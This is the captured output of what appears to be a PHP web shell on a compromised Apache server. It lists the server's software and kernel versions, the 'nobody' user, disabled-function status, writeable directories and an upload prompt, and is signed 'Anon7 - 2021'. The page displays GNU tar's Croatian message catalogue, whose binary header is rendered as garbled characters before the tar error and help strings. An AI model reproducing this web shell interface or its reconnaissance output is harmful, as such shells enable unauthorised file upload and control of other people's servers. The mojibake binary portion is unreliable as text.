KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/hr/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/hr/LC_MESSAGES/tar.mo
Ţ•ŽŒéü
 Ą˜ŽG"^$
Ś´/Ń;!]xŠ˘¸Ńâ:"Qt†Ÿ2Ź1ß4#Fj" "Ăć÷1#H!lŽ¨,Âď%
,3-` Ž&ŻÖ(é2RT[u) 5Ę,-+MFy3Ŕ"ô50M~>›Ú0ú+G!e+‡!ł#Ő"ů<,Ly ĄÂŘ!ó'#=%a,‡´2Ćů!	+7Qi”
ążÓçú3DQn„%Ž0Ô+11c*y¤ˇ%Ăéú%AZg*Şş%͡óŤĘâ&ü# / I i ‡ •œ 2!G!O!g!~!š!ą!Đ!Dę!>/"n"3‚".ś"ĺ"ç"ű"
###B#
_#
j#x#˜#­#Č##Ů#ý#$,$2$9$0Y$kŠ$ö%Ż&ł&(Î&'÷&' .'6O'-†'I´'%ţ'$(9(W(.p(Ÿ( Ž(Ď(Fă(@*)k)~)—):§)?â)A"*.d*“*$Ž*-Ó*&+(+-;+=i+'§+,Ď+ü+,)2,!\,)~,)¨,*Ň,$ý,."-Q-0f-!—-!š-Ű-Ý-ď-.+.0H.<y.3ś.+ę.4/VK/?˘/â/:ű/;60)r0Eœ0$â021*:1"e1%ˆ10Ž1(ß1&2(/2X2x2)Ž2¸2!Ě2%î2)3>3-X33†3&ş36á374P4Em4ł4%Ć4ě4ý4#595O5c5|5 5Ž5Ĺ5"Ý56, 6M6*^6‰6%ž6Ä6.Ř657(=79f7 74ś7ë7	818A8U8q8†8ž8ś8!Ě8,î89$89]9­{9 ):J:f:+ƒ:Ż:Ŕ:$Ů:%ţ:$;˛A;ô;<<8<X<"u<$˜<(˝<Ać<:(=c=4|=/ą=á=ă=ú=	>$$>I>g>	v>€>Ÿ>˛>Í>0á>?2?E?^?%x?6ž?š,Ť‡+7†	s ¤M¨=v‰JE›Œ3%
Šzg2
|\5…ŹOK&ƒWŸ0C1}N4c`_‚I-QŚ˜rY#œˆDĽ(•Šqlpžw'R~­A?b9— ŞjS˘”/xVPnŽ"{y*‘@€UFo8“$XhŁ’„e!6^:B[G§Z‹d<;fHa)imk™>u]LŽ–TĄ.t link to %s
 n [name]   Give a new file name for the next (and subsequent) volume(s)
 q          Abort tar
 !          Spawn a subshell
 ?          Print this list
 unknown file type %s
%s is not continued on this volume%s is the wrong size (%s != %s + %s)%s: Cannot %s%s: Cannot change mode to %s%s: Cannot change ownership to uid %lu, gid %lu%s: Cannot create symlink to %s%s: Cannot extract -- file is continued from another volume%s: Cannot hard link to %s%s: Cannot remove%s: Cannot rename to %s%s: Cannot seek to %s%s: Cannot symlink to %s%s: Deleting %s
%s: Directory has been renamed%s: Directory is new%s: Directory renamed before its status could be extracted%s: File removed before we read it%s: Invalid group%s: Not found in archive%s: Omitting%s: Unexpected inconsistency when making directory%s: Unknown file type '%c', diffed as normal file%s: Unknown file type '%c', extracted as normal file%s: Unknown file type; file ignored%s: Warning: Cannot %s%s: Warning: Cannot seek to %s%s: Was unable to backup this file%s: contains invalid volume number%s: door ignored%s: file changed as we read it%s: file is on a different filesystem; not dumped%s: file is the archive; not dumped%s: file is unchanged; not dumped%s: illegal option -- %c
%s: invalid option -- %c
%s: option `%c%s' doesn't allow an argument
%s: option `%s' is ambiguous
%s: option `%s' requires an argument
%s: option `--%s' doesn't allow an argument
%s: option `-W %s' doesn't allow an argument
%s: option `-W %s' is ambiguous
%s: option requires an argument -- %c
%s: socket ignored%s: time stamp %s is %lu s in the future%s: unrecognized option `%c%s'
%s: unrecognized option `--%s'
'(pipe)--Continued at byte %s--
--Mangled file names--
--Volume Header--
Archive base-256 value is out of %s rangeArchive contains %.*s where numeric %s value expectedArchive contains obsolescent base-64 headersArchive not labeled to match %sArchive octal value %.*s is out of %s rangeArchive octal value %.*s is out of %s range; assuming two's complementArchive signed base-64 string %s is out of %s rangeAt beginning of tape, quitting nowAttempting extraction of symbolic links as hard linksBlanks in header where numeric %s value expectedCannot allocate buffer spaceCannot backspace archive file; it may be unreadable without -iCannot change working directoryCannot combine --listed-incremental with --newerCannot execute remote shellCannot save working directoryCannot update compressed archivesCannot use multi-volume compressed archivesCannot verify compressed archivesCannot verify multi-volume archivesCannot verify stdin/stdout archiveConflicting compression optionsContents differCowardly refusing to create an empty archiveCreating directory:Date file not foundDeleting non-header from archiveDevice number differsDevice number out of rangeEOF where user reply was expectedError exit delayed from previous errorsError in writing to standard outputError is not recoverable: exiting nowExtracting contiguous files as regular filesFile type differsGNU features wanted on incompatible archive formatGarbage commandGenerating negative octal headersGid differsInode number out of rangeInvalid blocking factorInvalid device numberInvalid inode numberInvalid mode given on optionInvalid ownerInvalid record sizeInvalid tape lengthInvalid time stampInvalid value for record_sizeMissing file name after -CMod time differsMode differsMore than one threshold dateNo archive name givenNo new volume; exiting.
Not linked to %sOld option `%c' requires an argument.Options `-%s' and `-%s' both want standard inputOptions `-Aru' are incompatible with `-f -'Options `-[0-7][lmh]' not supported by *this* tarPremature end of filePrepare volume #%d for %s and hit return: Read checkpoint %dReading %s
Record size must be a multiple of %d.Renamed %s to %sRenaming %s back to %s
Renaming %s to %s
Seek direction out of rangeSeek offset out of rangeSize differsSkipping to next headerSubstituting %s for unknown date format %sSymlink differsSymlinked %s to %sThis does not look like a tar archiveThis program comes with NO WARRANTY, to the extent permitted by law.
You may redistribute it under the terms of the GNU General Public License;
see the file named COPYING for details.This volume is out of sequenceTime stamp out of rangeToo many errors, quittingTry `%s --help' for more information.
Uid differsUnexpected EOF in archiveUnexpected EOF in mangled namesUnknown demangling command %sUnknown system errorUsage: %s [OPTION]
Manipulate a tape drive, accepting commands from a remote process.

  --version  Output version info.
  --help  Output this help.
Valid arguments are:Verify Visible long name errorVisible longname errorVolume %s does not match %sVolume number overflowWARNING: Archive is incompleteWARNING: No volume headerWarning: the -I option is not supported; perhaps you meant -j or -T?Warning: the -y option is not supported; perhaps you meant -j?Write checkpoint %dYou may not specify more than one `-Acdtrux' optionYou must specify one of the `-Acdtrux' options``%s' command failedambiguous argument %s for %sblock %s: block %s: ** Block of NULs **
block %s: ** End of File **
block sizechild processexec/tcp: Service not availableinterprocess channelinvalid argument %s for %smemory exhaustedrmtd: Cannot allocate buffer space
rmtd: Garbage command %c
rmtd: Premature eof
stdinstdoutvalue %s out of %s range %s..%svalue %s out of %s range %s..%s; substituting %sProject-Id-Version: tar 1.13.25
Report-Msgid-Bugs-To: bug-tar@gnu.org
POT-Creation-Date: 2004-12-21 17:11+0200
PO-Revision-Date: 2002-04-26 10:49+MET(DST)(UTC+2)
Last-Translator: Mirsad Todorovac <mtodorov_69@yahoo.com>
Language-Team: Croatian <lokalizacija@linux.hr>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: 8bit
 link do %s
 n [ime]    Daj novo ime datoteke za slijedeći (i nadovezujuće) dijelove
 q          Završi tar
 !          Pokreni podljusku operativnog sistema
 ?          Ispiši ovu listu
 nepoznat tip datoteke %s
%s nije nastavljen za ovom dijelu arhive%s je pogrešne veličine (%s != %s + %s)%s: Ne mogu %s%s: Ne mogu promijeniti mod u %s%s: Ne mogu promijeniti vlasništvo na uid %lu, gid %lu%s: Ne mogu kreirati simbolički link prema %s%s: Ne mogu ekstrahirati -- datoteka se nastavlja iz drugog dijela arhive%s: Ne mogu napraviti hard link na %s%s: Ne mogu obrisati%s: Ne mogu preimenovati u %s%s: Neuspjeli seek na %s%s: Ne mogu napraviti simbolički link prema %s%s: Brišem %s
%s: Direktoriju promijenjeno ime%s: Novi direktorij%s: Direktoriju promijenjeno ime prije nego što mu je dobavljen status%s: Datoteka uklonjena (removed) prije nego što smo ju pročitali%s: Pogrešna grupa%s: Nije nađeno u arhivi%s: Izostavljam%s: Neočekivana nekonzistentnost kod otvaranja direktorija%s: Nepoznat tip datoteke '%c', diff-iran kao normalna datoteka%s: Nepoznat tip datoteke '%c', ekstrahiran kao normalna datoteka%s: Nepoznat tip datoteke; datoteka ignorirana%s: Upozorenje: Ne mogu %s%s: Upozorenje: Neuspjeli seek na %s%s: Nisam uspio napraviti backup ove datoteke%s: sadrži pogrešan broj dijela arhive%s: door ignoriran%s: datoteka se promijenila dok smo ju čitali%s: datoteka je na drugom datotečnom sustavu; ne arhiviram ju%s: datoteka je arhiva; ne arhiviram ju%s: datoteka nepromijenjena; ne arhiviram ju%s: ilegalna opcija -- %c
%s: pogrešna opcija -- %c
%s: opcija `%c%s' ne dozvoljava argument
%s: opcija `%s' nije jednoznačna
%s: za opciju `%s' neophodan je argument
%s: opcija `--%s' ne dozvoljava argument
%s: opcija `-W %s' ne dozvoljava argument
%s: opcija `-W %s' nije jednoznačna
%s: opcija zahtijeva neophodan argument -- %c
%s: socket ignoriran%s: oznaka vremena %s je %lu sekundi u budućnost%s: ne prepoznajem opciju `%c%s'
%s: ne prepoznajem opciju `--%s'
'(cjevovod - pipe)--Nastavljeno s bajtom %s--
--Manglirana imena datoteka--
--Zaglavlje dijela arhive--
Base-256 vrijednost iz arhive je izvan %s opsegaArhiva sadrži %.*s gdje je očekivana numerička %s vrijednostArhiva sadrži base-64 zaglavlja zastarjelog formataArhiva nije označena labelom da odgovara %sOktalna vrijednost iz arhive %.*s je izvan %s opsegaOktalna vrijednost %.*s iz arhive je izvan %s opsega; pretpostavljam dvojni komplementBase-64 vrijednost s predznakom %s iz arhive je izvan %s opsegaPočetak trake, završavamPokušavam ekstrakciju simboličkih linkova kao hard linkovaRazmaci u zaglavlju gdje se očekuje numerička %s vrijednostNe mogu alocirati prostor za međuspremnikNe mogu se pomicati unazad unutar arhive; može biti nečitljiva bez -iNe mogu promijeniti radni direktorijNe mogu kombinirati --listed-incremental s --newerNe mogu pokrenuti udaljenu (remote) ljuskuNe mogu pohraniti radni direktorijNe mogu ažurirati komprimirane arhiveNe mogu koristiti višedjelne komprimirane arhiveNe mogu verificirati komprimirane arhiveNe mogu verificirati višedjelne arhiveNe mogu verificirati stdin/stdout arhiveKonfliktne opcije za kompresijuSadržaji se razlikujuKukavički odbijam kreirati praznu arhivu!Kreiram direktorij:Datoteka s datumom nije pronađenaBrišem neispravno zaglavlje iz arhiveBroj uređaja (device number) se razlikujeBroj uređaja izvan opsegaNađen EOF gdje sam očekivao odgovor korisnikaPogrešan izlaz (naknadno) zbog prijašnjih pogrešakaPogreška u pisanju na standardni izlazGreška iz koje se ne mogu oporaviti: završavam s radomEkstrahiram neprekinute datoteke kao regularne datotekeTipovi datoteka se razlikujuGNU specijalne pogodnosti zatražene na nekompatibilnom formatu arhiveNeispravna naredbaGeneriram negativna oktalna zaglavljaGid se razlikujeInode broj izvan opsegaPogrešan faktor pakiranja u blokovePogrešan broj uređajaPogrešan inode brojPogrešan mod dan opcijomPogrešan vlasnikPogrešna veličina sloga (record)Pogrešna duljina trakePogrešna oznaka vremenaPogrešna vrijednost za record_sizeNedostaje ime datoteke nakon -CMod time (vrijeme modifikacije) se razlikujeMod se razlikujeViše od jednog datuma s pragom (threshold)Nije dano ime arhiveNema novog dijela arhive; završavam.
Nije polinkan na %sStara opcija `%c' zahtijeva obavezan argument.Opcije `-%s' i `-%s' obje zahtijevaju standardni ulazOpcije `-Aru' nisu kompatibilne s `-f -'Opcije `-[0-7][lmh]' nisu podržane od strane *ovog* tar-aPrerani kraj datotekePripremite dio arhive #%d za %s i pritisni <RETURN>:Točka provjere čitanja %dČitam %s
Veličina sloga (record) mora biti višekratnik %d.Preimenovao %s u %sPreimenujem %s natrag u %s
Preimenujem %s u %s
Seek smjer izvan opsegaSeek ofset izvan opsegaVeličina se razlikujePreskačem do slijedećeg zaglavljaSubstituiram %s za nepoznat format datuma %sSimbolički link se razlikujeNapravio simbolički link %s prema %sOvo ne izgleda kao tar arhivaOvaj program dolazi BEZ GARANCIJA, do granica dozvoljenih zakonom.
Možete ga redistribuirati pod uvjetima GNU General Public License;
vidi datoteku imena COPYING za detalje.Ovaj dio arhive je izvan slijedaOznaka vremena izvan opsegaPreviše pogrešaka, završavamPokušajte `%s --help' za više informacija.
Uid se razlikujeNeočekivani EOF u arhiviNeočekivan EOF u mangliranim imenimaNepoznata naredba za demangliranje %sNepoznata pogreška u sistemuKorištenje: %s [OPCIJA]
Upravljaj jedinicom trake, prihvaćajući naredbe od udaljenih procesa.

  --version  Informacije o verziji programskih ispisa.
  --help  Ispiši ovu pomoć.
Ispravni argumenti su:Verificiraj Vidljiva pogreška u dugom imenuVidljiva pogreška u dugom imenuDio arhive %s ne odgovara %sPrekoračenje u broju dijela arhiveUPOZORENJE: Arhiva nije kompletiranaUPOZORENJE: Nema zaglavlja za dio arhiveUpozorenje: opcija -I nije podržana; možda ste mislili -j ili -T?Upozorenje: opcija -y nije podržana; možda ste željeli -j?Točka provjere ispisa %dNe možete navesti više od jedne od `-Acdtrux' opcijaMorate specificirati jednu od `-Acdtrux' opcija`Neuspjela `%s' naredbanejednoznačan argument %s za %sblok %s: blok %s: ** Blok ispunjen NULama **
blok %s: ** Kraj datoteke **
veličina blokapodprocesexec/tcp: Servis nije dostupanmeđuprocesni kanalpogrešan argument %s za %siscrpljena memorijarmtd: Ne mogu alocirati prostor za međuspremnik
rmtd: %c je neispravna naredba
rmtd: Prerani eof
stdin -- standardni ulazstdout -- standardni ulazvrijednost %s izvan %s raspona %s..%svrijednost %s izvan %s raspona %s..%s; substituiram %s

Anon7 - 2021